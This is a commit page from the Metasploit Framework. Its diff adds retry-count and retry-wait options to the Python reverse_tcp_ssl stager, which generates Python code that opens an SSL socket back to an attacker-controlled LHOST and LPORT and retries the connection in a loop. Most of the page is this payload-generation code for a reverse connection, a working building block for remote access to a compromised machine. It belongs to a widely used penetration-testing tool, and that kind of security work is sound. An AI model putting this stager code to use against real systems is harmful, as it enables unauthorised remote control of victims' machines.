Skip to content

Commit 39cee48

Browse files
committed
Making changes similar to the reverse_tcp payload
1 parent 73be4f1 commit 39cee48

File tree

2 files changed

+20
-6
lines changed

2 files changed

+20
-6
lines changed

lib/msf/core/payload/python/reverse_tcp_ssl.rb

Lines changed: 19 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,15 @@ module Payload::Python::ReverseTcpSsl
1515

1616
include Msf::Payload::Python
1717
include Msf::Payload::Python::ReverseTcp
18+
def initialize(*args)
19+
super
20+
register_advanced_options([
21+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
22+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts',5])
23+
], self.class)
24+
end
25+
26+
1827

1928
#
2029
# Generate the first stage
@@ -23,7 +32,8 @@ def generate
2332
conf = {
2433
port: datastore['LPORT'],
2534
host: datastore['LHOST'],
26-
retry_wait: datastore['StagerRetryWait']
35+
retry_count: datastore['StagerRetryCount'],
36+
retry_wait: datastore['StagerRetryWait'],
2737
}
2838

2939
generate_reverse_tcp_ssl(conf)
@@ -44,22 +54,26 @@ def supports_ssl?
4454
def generate_reverse_tcp_ssl(opts={})
4555
# Set up the socket
4656
cmd = "import ssl,socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
47-
if datastore['StagerRetryWait'].blank? # do not retry at all (old style)
57+
if opts[:retry_wait].blank? # do not retry at all (old style)
4858
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
4959
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
5060
cmd << "s=ssl.wrap_socket(so)\n"
5161
else
52-
cmd << "while 1:\n"
62+
if opts[:retry_count]>0
63+
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
64+
else
65+
cmd << "while 1:\n"
66+
end
5367
cmd << "\ttry:\n"
5468
cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
5569
cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
5670
cmd << "\t\ts=ssl.wrap_socket(so)\n"
5771
cmd << "\t\tbreak\n"
5872
cmd << "\texcept:\n"
59-
if datastore['StagerRetryWait'].to_i <= 0
73+
if opts[:retry_wait].to_i <= 0
6074
cmd << "\t\tpass\n" # retry immediately
6175
else
62-
cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting
76+
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
6377
end
6478
end
6579
cmd << py_send_uuid if include_send_uuid

modules/payloads/stagers/python/reverse_tcp_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 378
12+
CachedSize = 470
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Python::ReverseTcpSsl

0 commit comments

Comments
 (0)